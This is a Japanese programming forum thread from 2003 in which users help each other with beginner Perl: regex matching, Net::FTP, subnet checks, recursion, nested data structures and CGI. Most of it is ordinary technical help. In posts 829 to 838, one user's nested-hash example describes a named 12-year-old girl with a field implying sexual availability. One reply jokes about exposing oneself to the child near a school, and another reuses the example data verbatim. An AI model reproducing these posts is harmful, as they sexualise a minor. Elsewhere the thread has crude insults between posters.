$indir = shift(@ARGY);
opendir(DIR,$indir) || die;
print"\n";
print " Direntory: ", indir, "\n";
print "-----------------------------", "\n";
@file_entry = readdir(DIR);
closedir(DIR);
foreach $entry (@file_entry) {
if($entry !~ /.txt$/){
next;
}

676:03/10/14 02:32
$file_path = "./" . $indir . "$entry;
open(IN, $file_oath) || die;
$aa = "";
while (<IN>){
chomp;
$aa .= $_;
}
close(IN);
@aa_part = split(//, $aa);
$count_hydro = 0;
foreach $item(@aa_parts){
$count_hydro += $aa12hydro{$item};
}
print "File:", $entry, "\n";
print "Hydrophobicity: ",$count_hydro, "\n";
}
exit;


いったん $aa に文字列をすべてつないだあとで @aa_parts に分割しているのが無駄
そもそもファイルの読み込みのループと @aa_parts のループをわけてるのが無駄
>>674-676
typo だらけなのは何とかなりませぬか。
宿題だったらヤなのでわざと縮めて書いた。適宜整形して読み解いて下さい。

#!/usr/pin/perl -w
my%h=qw(A +1.8 V +4.2 L +3.8 I +4.5 M +1.9 W -0.9 F +2.8 P -1.6 G -0.4 S -0.8 T
-0.7 C +2.5 Y -1.3 N -3.5 Q -3.5 K -3.9 R -4.5 H -3.2 D -3.5 E -3.5);(my$d=pop)
=~s|/$||;opendir(D,$d)||die$!;my@f=sort grep/\.txt$/,readdir D;closedir D;print
" Direntory: $d\n-----------------------------\n";undef$/;for(@f){-f"$d/$_"or
die"$_ isn't a file.\n";open F,"<$d/$_"or die$!;(my$c=<F>)=~s/(.)/$h{$1}/g;
print" File: $_\nHydrophobicity: ",eval$c,"\n"}
白痴天才が集うスレはここですか
Perlばかりやっていると○○になる
田代?
頑なに定石を外すスレはここですか?
typoって何ですか?
一つの言語ばかりやってると馬鹿になるけど、
いくつかの言語をひろくやってると、あまり深く通じることができない。
難しいもんだ。Perlはもう1年ぐらい触ってないから、
殆ど忘れた。UNIX上では殆どshで事足りるし。
sh な方にご質問! スクリプト内で cdまたはchdirしても、スクリプトが
終ると元のディレクトリにもどっちゃうけど、そうならないようにする手
はありますか?
686デフォルトの名無しさん:03/10/15 21:45
Win32::ConsoleのInputの戻り値がundefしか返って来ないのですが
これはバグってやつですか?
Inputメソッドって勘違いじゃなければC言語のscanfのようなものだと
思うのですが。
>>683
英和辞書引いてみな。暗号でもなんでもなく、単なる英語だよん。
>>685
そういうもん。子の環境は親に影響しない。さらにスレ違い。
>>688
場合によってはできる。

だまされたと思ってうにくす板で聞いてみ。>>685
(間違っても犬板へは行かないように。)
690デフォルトの名無しさん:03/10/16 02:06
$_ = "123abc456def789ghi";

while (m/[1-9]/) {
print "$&\r\n";
}

 これをすると、"1"の数字が際限なく表示されていきます。

$_の中の数字だけを一文字ずつ取り出すにはどう表記したら良いでしょうか?
>>690
m/[1-9]/g
>>690
print join("\r\n", split(//)), "\r\n";
while (s/\d//)
>>690
http://tech-web.net/perlmania/perlfaq6.html#Why_does_using_or_slo
http://www.din.or.jp/~ohzaki/perl.htm#CRLF_Unify

my $str = '123abc456def789ghi';
while ($str =~ m/([0-9])/g) {
  print "$1\n";
}
ごめん。>>692は無視しといて。「数字だけを」っての見落としてた。
696690:03/10/16 10:02
>>691-695

 ありがとう。

 'm/[1-9]/g' で 'g' を入れておかなきゃならかったんだね。
 助かりました。
<a href = "http://hoge1/" target ="new>hoge2</a>

上記のようなリンクからhoge2とhoge1をそれぞれ抽出するにはどうしたら良い?
言い方が曖昧だったので訂正。

タグで挟まれているhoge2と、URLである”で挟まれたhttp://hoge1/を摘出するにはどうすれば良いか
既出
701デフォルトの名無しさん:03/10/16 13:49
>>699
> 既出

どこに?
>>700
> >>697
> >>650

ありがとう
もしくはHTML::Parserを使え
>>703
> もしくはHTML::Parserを使え

 モジュールのインストールでエラーが出たので諦めた。
 自分でサブルーチンを作って、スキルの足しにしたい。
モジュールの導入もできないやつが(
>>704
じゃあまずPerl以前に字句解析の勉強しな
>>704
ここで教えてもらっちゃスキルの足しにならないのでは?
>>704
既に解決されている方法を実装し直すのは無駄。そんなものはスキルでも何でもない。
現代のプログラミングは昔のそれとは違い、機能の断片をインターネットで拾ってきて
レゴのように積み重ねる方法が主流だ。Javaなんかはその典型。
制御とか組み込みは違うがそんな分野ではPerlは使わない。
>機能の断片をインターネットで拾ってきて
>レゴのように積み重ねる方法が主流だ。

それがperlなのだよ

サンプルプログラムを変えれば別のプログラムになる
例:
httpプロトコルでページを取ってくる(サンプルがあったとする)
→あるHPから串リストを取って来てデータベースに入れる(解析機能等を追加する)
力説するほどのもんでも
>>708
機能を作る時代が終わって、今はソリューションを作る時代なんだよ。
712デフォルトの名無しさん:03/10/17 08:58
おはようございます。

早速ですが質問です。

配列をループでまわして処理するとき、for と foreach どっちが早いのですか?
713デフォルトの名無しさん:03/10/17 10:15
Delphiしか知らないのですが、Delphiだとforループの制御に使った変数を
ループを抜けたあとに参照しようとすると、
「[警告]for ループ 脱出後の ループ制御変数の値は不定です」みたいな警告が出ちゃうんですけど、
perlで例えば

for($i = 0; $i < 10; $i++) {
   適当な処理;
}
ここで$iの値10を使いたい

っていうのは問題ないのですか? 
ない。
716713:03/10/17 11:04
>>715
為になるHPありがとうございます。
717656:03/10/17 12:25
>>667
ドキュメントに残せっていうのはごもっとも。
しかしそうするとPerl==ソースのみではすげー理解がしづらい言語って
イメージと同じになってしまうので少し負けた気分…。

>>668
重複読み込みしないようにエラーになるのを回避したいということです。
C言語の#ifdef みたいな感じで。

>>670
単純な一つの階層?のリファレンス/デリファレンスの理解はできているんですが
「2重配列の中の無名ハッシュに無名配列が格納されて…」といった形式の
入れ子データを扱うときに頭で把握してても文法レベルでワケワカになるので
ぶっちゃけご指摘のとおりと言えます。自分のスキル不足。

Perlの場合はインタプリタのワーニングが結構親切なんで
なんとか助かってます。机上デバックのみだと一生コーディング終わらないような
気もする。
718デフォルトの名無しさん:03/10/17 12:50
DBIプログラムに関してはここでいいのでしょうか?
720デフォルトの名無しさん:03/10/17 15:08
すごく初歩的な質問かもしれないのですが、
perlのソースでよく

HOGE:{
 〜
}

こういうの見るんですけど、これってなんですか?
ただ単にスコープの問題で、区切ってるだけですか?
>>720
・スコープを区切る。
・そのブロックが何をしているのか分かり易くする為、名前を付ける。
・last、next、redo による分岐処理用。
>>721
簡潔にありがとうございます。
俺はよくこんな風にする。

MAIN:
{
  #処理
}
>>711
あのさ、「ソリューション」って「IT革命」並みに恥ずかしい言葉だよね。
>>717
ドキュメントなんて大げさなものではなくて、ただのメモだよ。
複雑なデータ構造をソースだけで追うのはどの言語でも面倒。

>重複読み込みしないようにエラーになるのを回避したいということです。
(゚Д゚)ハァ? 重複読み込みさせたいということ? なぜに?
>>723
なんかダサいね、それ
>>726
括弧イイやしキボンヌ
728デフォルトの名無しさん:03/10/18 06:17
オブジェクト指向Perlマスターコース
オブジェクト指向の概念とPerlによる実装方法
http://books.rakuten.co.jp/infoseek/NS/CSfLastGenGoodsPage_001.jsp?GOODS_NO=1315191&rbx=X

オブジェクト指向を勉強したくて、この本を購入しようと思っているんですけど、
この本を読んだ、もしくはチラッと読んだ方がおられたら感想を頂けないでしょうか?
6200円と高額なので購入しようかどうか悩んでおります。
>>728
その本は読んだ事ないが、これは読んだ?
http://perl.infoware.ne.jp/documents/perlboot.ja.html

ここにイタリック体で出てくるマニュアル (perlobj etc.) の和訳はここ。
http://www.kt.rim.or.jp/%7ekbk/perl5.005/

この辺読んで自分で実際に簡単なもの作ってから、
立ち読みでもしてもう一度考えたら?
730728:03/10/18 06:48
>>729
ううっ。perlbootのやつですか。
それ読んだんですけど、あまりわからなかったので
本を購入しようと決意して質問しましたです。
とりあえず、下の方のマニュアルを読んでみます。
サンクスです。
>>728
オブジェクト指向Perlマスターコース 読んだ。
わかったような気がしたがモヤモヤしていた。
で、実用Perl〜(黒豹)読んだらモヤモヤが多少晴れた。
でまた読んだら、まあぶっつけよりはもうちとわかった。
732728:03/10/18 14:13
>>731
レスありがとうございます。

もしかして黒豹より難しいのかな
まずい、もう注文してしまった(´Д`;)
734_| ̄|○:03/10/18 14:24
オブジェクト指向Perlマスターコース はリファ的に使ってるかな。
最初から読めばそれなりなんだろうけど、
もう多少OOPerl使ってる人にはちと退屈かも。
まぁサンプルコードが多いから、リファとしては有効。
持ってて損はないかな、という感じ。
736728:03/10/18 14:49
>>735
詳しい説明ありがとうございます。
めちゃ参考になりました。
{
  my $sub = sub {
    # ここで自分を再起呼び出ししたいのですが、出来ますか?
  };
  &{$sub};
}
738デフォルトの名無しさん:03/10/19 03:16
できる
739737:03/10/19 04:32
{
  my $sub = sub {
    # このように毎回渡していくのを思いついたのですが、
    # 再帰が深くなるほど馬鹿らしくなる気がします。
    # 一般的にはどうするのでしょうか?
    my $sub = shift;
    &{$sub}($sub);
  };
  &{$sub}($sub);
}
>>739
「馬鹿らしくなる」ってのが、いまいち意図がくみとれん。。。

とりあえず、無限ループはさせないでくれ。
>>739
my $daa = { daa => { daa => { daa => 'daa!' } } };
my $sub;
$sub = sub {
  my($arg, $count) = @_;
  $count++;
  if (ref $arg eq 'HASH') {
    print "$count, ";
    $sub->($arg->{'daa'}, $count);
  }
  else {
    print $arg;
  }
};
$sub->($daa); # 1, 2, 3, daa!
>>728
その本はオライリー本のようにみっちり、かっちりしたタイプ。しょーもないことも丁寧でわかりにくい言葉
でくどくど説明している。
よほどのド田舎に住んでいるのでなければ、図書館や本屋で一度めくってみるべき。
743728:03/10/19 10:30
>>742
今朝、宅急便で届いてしまいました(T▽T)
わかりにくそうですが、何とか読破してみようと思います。
レス感謝!!
744737:03/10/19 10:47
>>740
$sub がバケツリレー状態になってるし、
サブルーチンの数が増えた時に使えないから馬鹿かなと。

>>741
サンプルコードありがとうございます。
これをいろいろ書き換えて試したら再帰呼び出しするときの
重要なポイントがわかりました。
答えてくださった皆さんどうもありがとうございました。
>>741
$countはグローバルだよね?
それがちょっとキモイ...
746745:03/10/19 12:18
チガウネ(;´Д`)
perl勉強したいんでいい本教えてください。
ちなみにawkはできます。
>>747
独習Perl
ラクダ本を頭から読むのが一番近道なきがしてきた。
まだ勉強中だけど、入門書はなんの役にも立ってないかも。
忘れそうなので定期コピペ

-------------------------
[プログラミング自体の経験が無い奴はまずココを読め]
Perlプログラミング講座: http://www5a.biglobe.ne.jp/~n_rieko/perl/

[本]
リャマ: http://www.oreilly.co.jp/BOOK/lperl3/
駱駝: http://www.oreilly.co.jp/BOOK/pperl3v1/
Effective Perl: http://www.ascii.co.jp/books/detail/4-7561/4-7561-3057-7.html
クックブック: http://www.oreilly.co.jp/BOOK/pcook/

[オンラインマニュアル]
・Perldoc.com: http://www.perldoc.com/
・perldoc.jp: http://www.perldoc.jp/
・perl5.005_03 のドキュメント: http://www.kt.rim.or.jp/%7ekbk/perl5.005/

[モジュール]
・CPAN.com: http://search.cpan.org/
・河馬屋二千年堂: http://member.nifty.ne.jp/hippo2000/

[テクニック]
・Perlメモ: http://www.din.or.jp/~ohzaki/perl.htm
・Perlのページ: http://homepage1.nifty.com/nomenclator/perl/
--------------------------------

何事もなかったように次の人どうぞ。
>>749
その根性があればね。過去に読んだ入門書が、ラクダ本を読解する助けになっていないか?
俺の場合はperlに限らないが同じテーマのいろいろな本を多く借りてきて少しずつストライプ状
に読むことが多い。分からないことも言葉を変えられると分かったりする。
俺は「デスクトップリファレンス」とかを除いてオライリー本を頭から尻尾まで読破できたためしがない。
752デフォルトの名無しさん:03/10/19 18:40
Net::FTPモジュールを使ってファイルを
1つずつ取得したいのですが上手く行きません

use Net::FTP;

$ftp = Net::FTP->new('hostname');
$ftp->login('username','password');
@filelist = $ftp->nlst();
forech $file (@filelist) {
$ftp->get("$file");
}
$ftp->quit;


どなたかおすえて下さい
>>752

どう「上手く行かない」か書いてくれないと
放置されてしまう罠
>>752
forech か?
まさかとは思うが。。。
755752:03/10/19 20:11
失礼しました、その辺のログです

(略)
Net::FTP=GLOB(0x8188840)>>> PORT 127,0,0,1,128,170
Net::FTP=GLOB(0x8188840)<<< 200 PORT command successful.
Net::FTP=GLOB(0x8188840)>>> NLST
Net::FTP=GLOB(0x8188840)<<< 150 Opening ASCII mode data connection for file list.
Net::FTP=GLOB(0x8188840)>>> PORT 127,0,0,1,128,171
Net::FTP=GLOB(0x8188840)<<< 226 Transfer complete.
Net::FTP=GLOB(0x8188840)>>> RETR Net::FTP::A=GLOB(0x8188b10)
Net::FTP=GLOB(0x8188840)<<< 200 PORT command successful.
Net::FTP=GLOB(0x8188840)>>> QUIT
Net::FTP=GLOB(0x8188840)<<< 550 Net::FTP::A=GLOB(0x8188b10): No such file or directory

結果は取得できません
まさか、まさかそんな事はあるまい.....

@filelist = $ftp -> nlst();
のところを
@filelist = $ftp -> ls();
にしては駄目なの?
758752:03/10/19 21:11
>>757
あっ!出来ました。
別にnlstにこだわる理由は無いので、それでOKです

レスくれた皆さん有難うでした

       ヽ(・ω・)/   ズコー
      \(.\ ノ
    、ハ,,、  ̄

よく動いたなぁ・・・
760デフォルトの名無しさん:03/10/20 12:57
サブネットマスクが「192.168.0.0/24」の場合
あるIPアドレスがその中に該当するかどうかを判断したいのですが、
どのようにするのがPerlらしいでしょうか?
if( $ipaddr =~ /^192\.168\.0/ )
じゃダメ? ダメならちゃんとビット演算するしか...
762760:03/10/20 13:09
>>761
正規表現だと例えば「192.168.0.0/26」だった場合には対応できませんよね?
できるならPerlらしくてスマートだと思いますが。
## 我ながらすごいヘタレ。誰か添削きぼんぬ。変数名は適当です。

my $where = '192.168.0.32';
my $good = '192.168.0.0';
my $mask = '255.255.255.0';
check_addr_by_mask($where, $good, $mask) or die;
sub check_addr_by_mask {
my $test = shift;
my $net = shift;
my $mask = shift;
my $a1 = a2bin($test);
my $a2 = a2bin($net);
my $a3 = a2bin($mask);
my $n = $a3 =~ tr/1/1/;
return(undef) if( (substr($a1, 0, $n)) ne (substr($a2, 0, $n)) );
return(1);
sub a2bin {
my $m = shift;
my ($b, @test);
if($m =~ /^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$/) {
$test[0] = $1; $test[1] = $2; $test[2] = $3; $test[3] = $4;
} else {
return(undef);
}
foreach(@test) {
return(undef) unless( ($_ >= 0) and ($_ <= 255) );
$b .= sprintf("%08b", $_);
}
return($b);
}
}
764デフォルトの名無しさん:03/10/20 14:26
¥ 0 1 2 3 4 5
0 あ い う え お か
1 き く け こ さ し
2 す せ そ た ち つ
3 て と な に ぬ ね

こんな感じの2次元配列があったとして「あ,い,う,え,お,か」を
取得するのが、@{$array[0]} だったとした場合、
縦の「か,し,つ,ね」を取得するには、$array[$i][5]の$iをループで動かしながら
取得するしかないのですか?
@{$array[0]} ←こんなふうにスマートに取る方法はないのでしょうか?
map
766闇主:03/10/20 15:16
>>762
文字列でやるのがPerlっぽいという事なら

# check_addr_by_mask('192.168.0.1', '192.168.0.0', 26);
sub check_addr_by_mask {
  (my $ip = shift) =~ s/(\d+)\.?/unpack 'B8', pack 'C', $1/eg;
  (my $net = shift) =~ s/(\d+)\.?/unpack 'B8', pack 'C', $1/eg;
  my $mask = shift;
  return substr($ip, 0, $mask) eq substr($net, 0, $mask);
}
>>765
レスありがとうございます。
が、mapを使ってどのようにいっきに取得できるのかがわかりません。
結局は、$array[$i] を0〜3まで回さないと取れないような・・・??
もうすこしヒント頂けないでしょうか?
768763:03/10/20 15:25
>>766 イイ!
そっか sprintf よりも pack/unpack の方が断然効率良いですね、感動しますた。
>>767
http://www.kt.rim.or.jp/%7ekbk/perl5.005/perllol.html

my @array = (
  [ qw(あ い う え お か) ],
  [ qw(き く け こ さ し) ],
  [ qw(す せ そ た ち つ) ],
  [ qw(て と な に ぬ ね) ],
);
print join '/', @{$array[0]}; # あ/い/う/え/お/か
print "\n";
print join '/', map $array[$_][5], 0..$#array; # か/し/つ/ね
770764:03/10/20 15:48
>>769
HPすごく参考になりました。ありがとうございました。
>>769
map { $$_[5]; } (@array);

じゃダメ?
772760:03/10/20 16:32
>>763>>766
レスありがとうございます。
両方とも参考になりました。
$q = new CGI;
$a = $q->param('name');

2行目で、アロー演算子を使わないで書く方法はありますか?
OOPerlだからそれしかないんじゃ?
>>773
http://www.kt.rim.or.jp/%7ekbk/perl5.005/perlobj.html#Method_Invocation

$a = CGI::param($q, 'name'); # 関数呼び出し
$a = param $q 'name'; # 間接オブジェクト形式
$a = $q->param('name'); # メソッド呼び出し
>>774-775
レスどうもです。
おかげさまで解決できました。ありがとうございました。
ま、何はともあれまずマニュアルってことだな
>>773
CGI::ReadParse(\%FORM);
$a=$FORM{'name'};

これじゃあ駄目?
オブジェクト指向風ではないけど、cgilib.plと互換性があるし。
ってスレ違いかな?
何を言ってんだよ・・・ハァ
第1引数にインスタンスを渡せばいいだけ。
use CGI qw(param);
$a = param('name');
782デフォルトの名無しさん:03/10/21 01:41
perlのオブジェクト指向なんて鼻糞でしょ?
まぁ、文字通り取ってつけたものだしな。
784デフォルトの名無しさん:03/10/21 22:30
httpsクライアント作りたいんですが、誰かやったことある人いません?

http://digit.que.ne.jp/work/index.cgi?Perl%A5%E2%A5%B8%A5%E5%A1%BC%A5%EB%2FLWP
こういうページとかみたんだけど、よくわからなくて・・・。
>>784 それ見てわからないなら あきらめた方がいいよ
初歩的なことでつまづいています。

-------------------------------------
my (@nums, $num_a, $num_b, $num_c);

@nums = 4..13;
$num_a = pop (@nums);
$num_b = shift (@nums);

if ($num_a gt $num_b) {
$num_c = $num_a;
} else {
$num_c = $num_b;
}

print "$num_c\n";
exit;
-------------------------------------

これを実行したら 13 が出力してほしいのですが、 4 と出力されてしまいます。

@nums = 4..51;
などというようにすると、出力は 51 になるので、どうも一番上の位で大小を判断しているのようなのですが。。。

ここいらあたりがよく理解できないので、何か参考になるドキュメントや検索キーワードなどをご教授願えないでしょうか

ちなみに Perl のバージョンは v5.6.1 build for ppc-linux となっています。

よろしくお願いします。
>>786
文字列で比較しているから。
if ($num_a gt $num_b) {

if ($num_a < $num_b) {
(゚Д゚)ウマー
788786:03/10/22 00:01
>>787
ああ、ありがとうございます。
数値演算子と文字列演算子の区別がついていませんでした。

手元の本に書いてあるやん。ちゃんと読めよ。。。>自分
789787:03/10/22 01:43
>>788
漏れも昔は、
cmp.b #$1F,d0
bgt LABEL01
なんて書いてたから間違えてたことがあったんよ。。。@gt と < 、 lt と >
>>789
MC68kかYO
# Perl術士のユーモアセンスを信じて…
Perl術士の吸う煙草は、やはりCAMELなのですか?
信じるな
俺、今日からCAMELにしようかな
貧乏なので「小粋」吸っています。
煙草なんて吸う奴は馬鹿です
タバコを吸うから馬鹿なんじゃない、馬鹿だからタバコを吸うんだ。
797デフォルトの名無しさん:03/10/22 21:35
Perlで、手軽にBinary Search や クイックソートしたいんですが、
ライブラリやモジュールあるんでしょうか?
ちなみに、Web探してたら、PerlではBinary Searchじゃ無くてHASH
を使うのが普通と出てたんですが、具体的にどうやるんですか?




具体的に何をしたいんですか?
799デフォルトの名無しさん:03/10/22 23:02
単に、Linuxのパスワードファイルにユーザを新規に大量に登録したいんですが、
現在、UIDが飛び飛びで登録されているんで、既に登録されているUIDと重複
しないように、「Binary Search」で新規登録する度に既存UIDとの重複
チェックしたいのです。
Binary SearchするためにはUIDが、昇順か降順にならんでなきゃいけないみたい
なんで、クイックソートでも使おうかなとおもいました。

HASHで手軽ににできるなら、それが一番いいかなと思います。。
>>799
perlのハッシュって
my %passwd;
$passwd{"oda"}="gvggv";
$passwd{"tanaka"}="weqw";

こういうやつのことだよ
ハッシュってそもそもどういう意味?
>>801
粉々にしたジャガイモ。マクドナルドで売ってる。
803デフォルトの名無しさん:03/10/22 23:17
そう、perlのハッシュといったら、 %passwdとかしか思い浮かばなかった
んで、なんで、これで、サーチできんのかわからんかったんです。
ただ、どこのWebに出ててたか忘れましたが、Search::Hash か Hash::Search
見たいに、書いてあったんで、こりゃ、標準でPerlはそんなライブラリか
モジュールがあんのかな?と思ったんですが、ラクダ本とかには出てなかったんで。。

>>803
基本情報処理の本かアルゴリズムの本かっとけ
>>799
my @uid = sort { $a <=> $b } (1024, 2048, 3096, 1234, 2468);
my %uid = map { $_, 1 } @uid;

my $uid = 1000; # 探し始めの番号
$uid++ while $uid{$uid};
UID程度なら一旦既存の値を全部変数にぶち込みゃ早いんじゃ
ちなみにperlのソート関数sortってクイックソートだったよね?
>>806
デフォルトのアルゴリズムはクイックソート
安定なアルゴリズムを使いたければsortプラグマで操作も出来る。

sort (list); # 高速なアルゴリズムを使用(5.8.0時点での実際のアルゴリズムはクイックソート)
use sort 'stable';
sort (list); # 安定なアルゴリズム(マージソート)
データをテキスト形式で保存するときの使い勝手のいいセパレータを探してます。
kentのscriptなんかは<>でセパレートしていて<、>が入力されると<、>にエスケープ、&は&にエスケープしてますよね。
別の所で見かけたのは\tでセパレート、\tが入力されるとスペース3つにエスケープ。通常の利用だとWEB上から
タブが入力されることは少ないからこっちの方がスマートかな。
でもどちらも自分的には美しくないです。
究極のセパレータは存在しないとは思いますが理にかなってる使い勝手のいいセパレータという物はありませんでしょうか。
やはり特殊文字や制御文字辺りがいいのかな。
罰 kentのscriptなんかは<>でセパレートしていて<、>が入力されると<、>にエスケープ、&は&にエスケープしてますよね。
丸 kentのscriptなんかは<>でセパレートしていて<、>が入力されると&lt;、&gt;にエスケープ、&は&amp;にエスケープしてますよね。
すまんです。
絶対に使いそうにない漢字とかどう?
エディタでいじることをあんまり考えないのであれば、
\0 あたりとか。でもそれなら最初からバイナリにするよなぁ。

個人的には \014 (^L) をよく使う。古来より改ページを
意味する制御コードなので、テキストに入っていても変じゃない。


bbs.cgiでは使えるのだろうか。
>>809
&amp;を書きたい時には、&amp;amp;って書けばいいよ。
&lt;は&amp;lt;ね。
CGIで<>をセパレータにするってのは普通HTMLタグをエスケープするわけだから
s/</&amp;/g;
だけでタグの破壊とセパレータのためのエスケープを同時に行えるっつー点で結構、理に適ってると思うけどね
&amp;→&lt;
なんか>>312に釣られた気分(;゚д゚)
815デフォルトの名無しさん:03/10/24 12:12
formをenctype="multipart/form-data"で送信した場合
windowsでは\r\nContent-Type:となっているけどmacだと\rContent-Type:ってなるんですか?
何?最近はCGIの話題もOKになったの?
聞くバカと答えるバカが居るから仕方ない
perlduke カウンター数値上昇スクリプト
http://www.scenecritique.com/museum/home/gues
に掲載されているもの
これもperlなんですか?
どうやっても動かないんで、質問します
820デフォルトの名無しさん:03/10/25 15:09
Error.pmに関して質問です。
色々な例を見るとthrowの際に

Error::Simple、Error::IO、Error::Bad、IOException、
MathException、DivideByZeroException、DBConnectionException、

など色々な例外の投げ方があるんですけどこれらの
使い分けについて分かる方いらっしゃいますか?
821820:03/10/25 15:11
あともう一点。
このError.pmはPerl6で実装される例外処理と記述方法に
互換性はあるのでしょjか?
>>819
みれねーYO
PerlMagickでgifアニメを拡大縮小使用とすると始めの一枚目だけ小さくなって
2枚目以降は元のサイズのままなのですが
全ての画像を変換するやり方ありますか?

824デフォルトの名無しさん:03/10/27 16:54
なんか昨日あたりからCPAN Searchのキーワード検索がおかしいんですけど。
モジュール名で検索しても目当てのモジュールが出てこない・・・
ちなみにURLは↓こちら
http://search.cpan.org/
ちょっと。不思議に思ってることがあるんですが。
レンタルCGIで言語がPerl。の環境で。
そのサイトにアクセスしたらどこからアクセスしたかわかるみたいなんですが。
でも、それって変だと思ったんですが。
それは、そのレンタルCGIを借りている人は
サーバの管理者じゃないから、ログとかは見れないと思うですよ。
どうなんでしょうか?
>>826
板違い
print "Content-type: text/plain\n\n";
foreach $var (sort(keys(%ENV))) {
 $val = $ENV{$var};
 $val =~ s|\n|\\n|g;
 $val =~ s|"|\\"|g;
 print "${var}=\"${val}\"\n";
}

これでも動かしてみろ
829デフォルトの名無しさん:03/10/27 21:33
パールのハッシュ変数についての質問なんですが、

%child = ('age' => '12', 'honban' => 'nashi');
%children{'NishimuraKaori'} = $child;

みたいな入れ子はできないんですか?
830デフォルトの名無しさん:03/10/27 21:36
できる
>>829
どっか行け
%child と $childは全然別もん。
言いたい事はわからんでもないが、それ以前の問題。
だいたい例が下品。

どっか、行け。
833829:03/10/27 22:42
自己解決しました

%child = ('age' => '12', 'honban' => 'nashi');
$ref = \%child;
%children = ('NishimuraKaori' => $ref);
$tmp = $children{'NishimuraKaori'};
$out = "age : ".$$tmp{'age'}."\n";
$out .= "honban : ".$$tmp{'honban'}."\n";
print("$out");
>>829はAV販売サイトでも作ろうとしてるのか?
835デフォルトの名無しさん:03/10/27 22:52
そうだ。そうやって小学校の前でぞーさん、ぞーさんやって、
にしむらかおりが面白がったらおもむろにしごいてデリファレンスすんだ。

いいからもう来るなよ。
>>833
こうゆうこともできるよ。

my %children=(
'NishimuraKaori' => {
'age' => '12',
'honban' => 'nashi'
}
);

print("age : $children{'NishimuraKaori'}{'age'}\n");
print("honban : $children{'NishimuraKaori'}{'honban'}\n");
exit;
837デフォルトの名無しさん:03/10/27 23:04
なに得意気にロリに語ってんだ。
ばかかたれどもが
838デフォルトの名無しさん:03/10/27 23:39
なにが自己解決だ、ばか。
当たり前のことにつまづいて初心者以前のことに気が付いたからっていちいち報告してんじゃねーよ。
ばかろり。
心の棚の狭いヤツが多いな
>>839
ここ最近のひどさでは仕方あるまい
>>839
心が狭いだぁ?
'NishimuraKaori'の親の身にもなってみろ
下品な奴らめ。
842デフォルトの名無しさん:03/10/28 13:30

あめりかcgiで日本語表示しようと
<META http-equiv="Content-Type" content="text/html; charset=Shift_JIS">
を入れたんですが
エンコードが西ヨーロッパ言語(ISO)
どうすればいいでせふ
>>841
ほんとに心が狭いですね。
コミュニケーションとか下手でしょう、あなた?(^_^;)
844デフォルトの名無しさん:03/10/28 13:43
お前らホント負け組そのものだね。
金も女もない馬鹿が、こんな掃き溜めで傷の舐めあいか?
ま、パソコンかオナニーしかやることねーんだろけどよ。
この季節、女の一人もいねえ奴は悲惨だな。
845デフォルトの名無しさん:03/10/28 13:50
うわあ、自虐的(^_^;)
マァブ★タンが紛れてるのか?(w
>>842
板違い
WebProgへGo!
848デフォルトの名無しさん:03/10/28 16:19
>847
検索してもありませんでした→WebProg
ありましたでつ
850デフォルトの名無しさん:03/10/28 20:11
本当に初心者の質問なんですが、
F:\perl\bin\perlにアクティビパールがある場合は
パスをどのように書けばよろしいのでしょうか??
教えてください。
いいなぁアクティビ
>>850
#!F:/perl/bin/perl
でいいんじゃねえの?active perl 使った事ないけど
環境変数の設定も必要なんじゃない?
853デフォルトの名無しさん:03/10/28 20:58
C:\AutoExec.batのSET PATHをかきかえるんかいな。
ネット調べて、コピーとってからかきけりゃいいんでないの?
>>850
ちょうど探しものをしているときに見つけた(ので正しいかどうか不明)。

#!F:\perl\bin\perl.exe でどう?
パス通っていたら #!perl でいい。
>>#!F:/perl/bin/perl
>>#!perl
???
Windows のコマンド(cmd)で見てくれないから意味なし(笑)

パス通す?? 意味なし。。

単に、拡張子の関連づけだけ!
857デフォルトの名無しさん:03/10/28 22:16
なわけねーだろ
858なお:03/10/28 23:38
APPLETの話なのですが、複数パネルがあるうちに、
パネル指定してg.drawしたいときは
どのようにすればいいのでしょうか
え?
perlみたいな文法ぐだぐだ言語はだめぽ・・・
所詮厨房御用達のお遊び言語ぽ・・・
Perlで韓国語や中国語の処理をしたいのですが、
参考になるサイトとかありませんか?

できれば、日本語か英語のサイトで…
>>861
ここで聞け。
俺が答える。

とりあえず、Unicodeについて。
*Perl5.8向け
http://www.lr.pi.titech.ac.jp/~abekawa/perl/perl_unicode.html
- perl5.8のUnicodeサポート
http://homepage1.nifty.com/nomenclator/perl/unicode.htm
- PerlのUnicode support
*Perl5.6向け
http://member.nifty.ne.jp/hippo2000/perltips/Unicode/Map.htm
- Unicode::Map V0.108
http://www.kt.rim.or.jp/~kbk/perl5.005/string.html
- Unicode::String - Unicodeキャラクターの文字列
>>862
サンクス。
Perl 5.8を使わないといけないわけですね。
今までPerl5で済ましていたから切り替えが面倒そうだなぁ…

とりあえずちょっと試してみます。
>>863
Unicode::MapとUnicode::StringはPerl5.6で行ける。
865デフォルトの名無しさん:03/10/29 21:25
$number =<STDIN>;
chomp ($number);
何人分のデータを入力しますか?:x人分<改行>
1人目の名前を入力してください。:太郎<改行>
1人目の点数を入力してください。:90<改行>
2人目の名前を入力してください。:次郎<改行>
2人目の点数を入力してください。:80<改行>
3人目の名前を入力してください。:薫子<改行>
3人目の点数を入力してください。:70<改行>・・・・・・・・

って何人分かは最初にキーで入力して決めて
名前と点数を入力していき、合計と平均を出すという
よく分からないプログラムってどうやれば良いんですか?
最初から人数が決まってれば作れるんですけど、
人数は限定しないで作るのは難しくて・・・。誰か少しでも手助けを・・・。
$numberの値を使ってループすればいい話では
867デフォルトの名無しさん:03/10/29 21:52
もうちょっと具体的に教えてください。
$numberのループってハッシュをつかってforeachでループですか?
散々試したんですけど。。。頭がこんがらがって・・・もう・・・。
print "何人分のデータを入力しますか?:";

$number = <STDIN>;
$number += 0;

%data;
$total;
for (my $i = 1; $i <= $number; ++$i) {
print "$i人目の名前を入力してください。:";
my $name = <STDIN>;
chomp $name;
print "$i人目の点数を入力してください。:";
my $point = <STDIN>;
$point += 0;
$data{$name} = $point;
$total += $point;
}

printf "合計点は%d点、平均点は%d点\n", $total, $total / $number;
print map { "$_ : $data{$_}点\n" } sort { $data{$b} <=> $data{$a} } keys %data;

いまいち君の悩みどころが掴めないんだけど、つまりこういうことがやりたいの?
869デフォルトの名無しさん:03/10/29 22:29
嗚呼まさにコレです。ホントに有り難う御座います。
こんな難しいんですね・・・。ハッシュとか使って頑張って苦労してまして・・・。
perl初心者でして。親切にして頂いて感謝ヽ( ・∀・)ノです。
>>865
(1) 最初に $counter=0, $total= 0 として
(2) 1人分点数を入力するごとに $total に入力値を加算して、
  $counter++ して
(3) 名前に たとえば "END" が入力されたら
